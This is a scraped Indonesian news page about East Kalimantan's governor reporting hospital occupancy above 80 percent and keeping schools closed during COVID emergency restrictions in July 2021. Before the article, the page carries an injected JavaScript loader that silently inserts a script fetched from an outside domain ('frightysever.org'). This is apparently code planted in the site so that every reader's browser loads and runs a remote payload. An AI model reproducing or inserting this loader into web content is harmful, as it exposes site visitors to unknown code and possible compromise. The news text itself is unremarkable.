(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Baru Dimulai PPKM Darurat, Gubernur Isran Noor Sebut Semua RS di Kaltim Darurat


KANALKALIMANTAN.COM, BALIKPAPAN– Gubernur Kalimantan Timur (Kaltim) Isran Noor menyebut selama beberapa hari penerapan pemberlakuan pembatasan kegiatan masyarakat (PPKM) Darurat di tiga wilayah, Kota Balikpapan, Kota Bontang dan Kabupaten Berau, tingkat keterisian tempat tidur di rumah sakit seluruh provinsi berjuluk Benoa Etam tersebut di atas 80 persen.

Pernyataan tersebut disampaikannya saat menghadiri vaksinasi massal yang digelar Badan Intelijen Negara (BIN) Kaltim di SMP Negeri 5 Balikpapan pada Rabu (14/7/2021).

“Semua rumah sakit darurat, semua kita jadikan darurat. Kita sekarang sudah di atas 80 persen,” ujarnya seperti dilansir Inibalikpapan.com-jaringan Suara.com.

Dikatakannya, saat ini wilayahnya belum bisa menggelar pembejaran tatap muka. Dia mengatakan tidak ingin mengambil risiko, walau saat ini pelajar sudah diberikan vaksin Covid-19.

 

 

Baca juga: WASPADA. Keterisian RS Covid-19 di Kaltim dan 10 Provinsi Lain Jauh di Atas Normal

“Kondisinya belum memungkinkan seluruh Kaltim. Zona hijau, kuning apalagi merah sementara jangan,” ujarnya.

Lantaran itu, dia mengemukakan, perlu melihat dua hingga tiga minggu mendatang untuk mengevaluasi efektivitas penerapan PPKM Darurat.

“Evaluasi sudah mulai berjalan PPKM darurat. Tapi baru dimulai belum bisa diketahui. Nanti diketahui lebih kurang lebih dua sampai tiga minggu hasinyal apa yang kita lakukan hari ini,” ujarnya.

Sementara itu, Kepala SMKN 1 Balikpapan Mujadi berharap, dengan adanya vaksinasi Covid-19 untuk siswa dan juga para guru, pelaksanaan sekolah tatap muka bisa berlangsung meski dengan kondisi terbatas dan menerapkan protokol kesehatan yang ketat.

“Guru sudah divaksin, siswanya juga sudah, tatap muka memang perlu dilakukan terutama siswa SMK karena ada pembelajaran praktek yang harus dilakukan langsung tatap muka. Bisa saja pembelajaran prakteknya tatap muka dengan prokes, sementara pemberajaran teori bisa melalui daring,” katanya.(suara.com)

Editor: suara


Risa

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

6 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

6 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

6 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

7 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

7 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

7 jam ago

This website uses cookies.